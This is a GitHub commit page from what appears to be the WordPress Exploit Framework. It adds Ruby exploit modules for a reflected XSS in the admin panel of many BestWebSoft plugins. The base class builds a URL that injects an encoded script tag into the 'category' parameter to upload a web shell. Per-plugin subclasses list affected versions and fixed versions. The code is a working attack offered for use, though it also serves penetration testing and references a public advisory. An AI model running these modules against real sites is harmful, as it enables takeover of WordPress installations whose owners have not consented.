Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit fca5632

Browse files
committed
Add reflected XSS shell uploads for BestWebSoft plugins
Includes modules for all plugins affected by WPVDB-8796
1 parent 97e4ba9 commit fca5632

File tree

54 files changed

+995
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

54 files changed

+995
-0
lines changed
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
class Wpxf::Exploit::AdsensePluginReflectedXssShellUpload < Wpxf::Exploit::BwsPanelReflectedXssShellUpload
2+
def initialize
3+
super
4+
5+
update_info(
6+
name: 'Google AdSense <= 1.43 Reflected XSS Shell Upload'
7+
)
8+
end
9+
10+
def plugin_name
11+
'adsense-plugin'
12+
end
13+
14+
def fixed_version
15+
'1.44'
16+
end
17+
end
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
2+
class Wpxf::Exploit::FeaturedPostsReflectedXssShellUpload < Wpxf::Exploit::BwsPanelReflectedXssShellUpload
3+
def initialize
4+
super
5+
6+
update_info(
7+
name: 'Featured Posts <= 1.0.0 Reflected XSS Shell Upload'
8+
)
9+
end
10+
11+
def plugin_name
12+
'bws-featured-posts'
13+
end
14+
15+
def fixed_version
16+
'1.0.0.1'
17+
end
18+
end
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
2+
class Wpxf::Exploit::GoogleAnalyticsReflectedXssShellUpload < Wpxf::Exploit::BwsPanelReflectedXssShellUpload
3+
def initialize
4+
super
5+
6+
update_info(
7+
name: 'Google Analytics <= 1.7.0 Reflected XSS Shell Upload'
8+
)
9+
end
10+
11+
def plugin_name
12+
'bws-google-analytics'
13+
end
14+
15+
def fixed_version
16+
'1.7.0.1'
17+
end
18+
end
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
2+
class Wpxf::Exploit::BwsGoogleMapsReflectedXssShellUpload < Wpxf::Exploit::BwsPanelReflectedXssShellUpload
3+
def initialize
4+
super
5+
6+
update_info(
7+
name: 'Google Maps <= 1.3.5 Reflected XSS Shell Upload'
8+
)
9+
end
10+
11+
def plugin_name
12+
'bws-google-maps'
13+
end
14+
15+
def fixed_version
16+
'1.3.5.1'
17+
end
18+
end
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
2+
class Wpxf::Exploit::LatestPostsReflectedXssShellUpload < Wpxf::Exploit::BwsPanelReflectedXssShellUpload
3+
def initialize
4+
super
5+
6+
update_info(
7+
name: 'Latest Posts <= 0.2 Reflected XSS Shell Upload'
8+
)
9+
end
10+
11+
def plugin_name
12+
'bws-latest-posts'
13+
end
14+
15+
def fixed_version
16+
'0.2.1'
17+
end
18+
end
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
2+
class Wpxf::Exploit::LinkedInReflectedXssShellUpload < Wpxf::Exploit::BwsPanelReflectedXssShellUpload
3+
def initialize
4+
super
5+
6+
update_info(
7+
name: 'LinkedIn <= 1.0.4 Reflected XSS Shell Upload'
8+
)
9+
end
10+
11+
def plugin_name
12+
'bws-linkedin'
13+
end
14+
15+
def fixed_version
16+
'1.0.4.1'
17+
end
18+
end
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
class Wpxf::Exploit::BwsPanelReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Multiple BestWebSoft Plugins Reflected XSS Shell Upload',
9+
author: [
10+
'DefenseCode', # Discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8796'],
15+
['URL', 'http://www.defensecode.com/advisories/DC-2017-02-014_50_WordPress_plugins_by_BestWebSoft_Advisory.pdf']
16+
],
17+
date: 'Apr 12 2017'
18+
)
19+
end
20+
21+
def check
22+
return :unknown if plugin_name.nil?
23+
return :vulnerable if fixed_version.nil?
24+
25+
check_plugin_version_from_readme(plugin_name, fixed_version)
26+
end
27+
28+
def plugin_name
29+
nil
30+
end
31+
32+
def fixed_version
33+
nil
34+
end
35+
36+
def vulnerable_url
37+
normalize_uri(wordpress_url_admin, 'admin.php')
38+
end
39+
40+
def url_with_xss
41+
"#{vulnerable_url}?page=bws_panel&category=%22%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3C%22"
42+
end
43+
end
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
2+
class Wpxf::Exploit::PinterestReflectedXssShellUpload < Wpxf::Exploit::BwsPanelReflectedXssShellUpload
3+
def initialize
4+
super
5+
6+
update_info(
7+
name: 'Pinterest <= 1.0.4 Reflected XSS Shell Upload'
8+
)
9+
end
10+
11+
def plugin_name
12+
'bws-pinterest'
13+
end
14+
15+
def fixed_version
16+
'1.0.4.1'
17+
end
18+
end
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
2+
class Wpxf::Exploit::PopularPostsReflectedXssShellUpload < Wpxf::Exploit::BwsPanelReflectedXssShellUpload
3+
def initialize
4+
super
5+
6+
update_info(
7+
name: 'Popular Posts <= 1.0.3 Reflected XSS Shell Upload'
8+
)
9+
end
10+
11+
def plugin_name
12+
'bws-popular-posts'
13+
end
14+
15+
def fixed_version
16+
'1.0.3.1'
17+
end
18+
end
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
2+
class Wpxf::Exploit::BwsPortfolioReflectedXssShellUpload < Wpxf::Exploit::BwsPanelReflectedXssShellUpload
3+
def initialize
4+
super
5+
6+
update_info(
7+
name: 'Portfolio <= 2.39 Reflected XSS Shell Upload'
8+
)
9+
end
10+
11+
def plugin_name
12+
'portfolio'
13+
end
14+
15+
def fixed_version
16+
'2.39.1'
17+
end
18+
end

0 commit comments

Comments
 (0)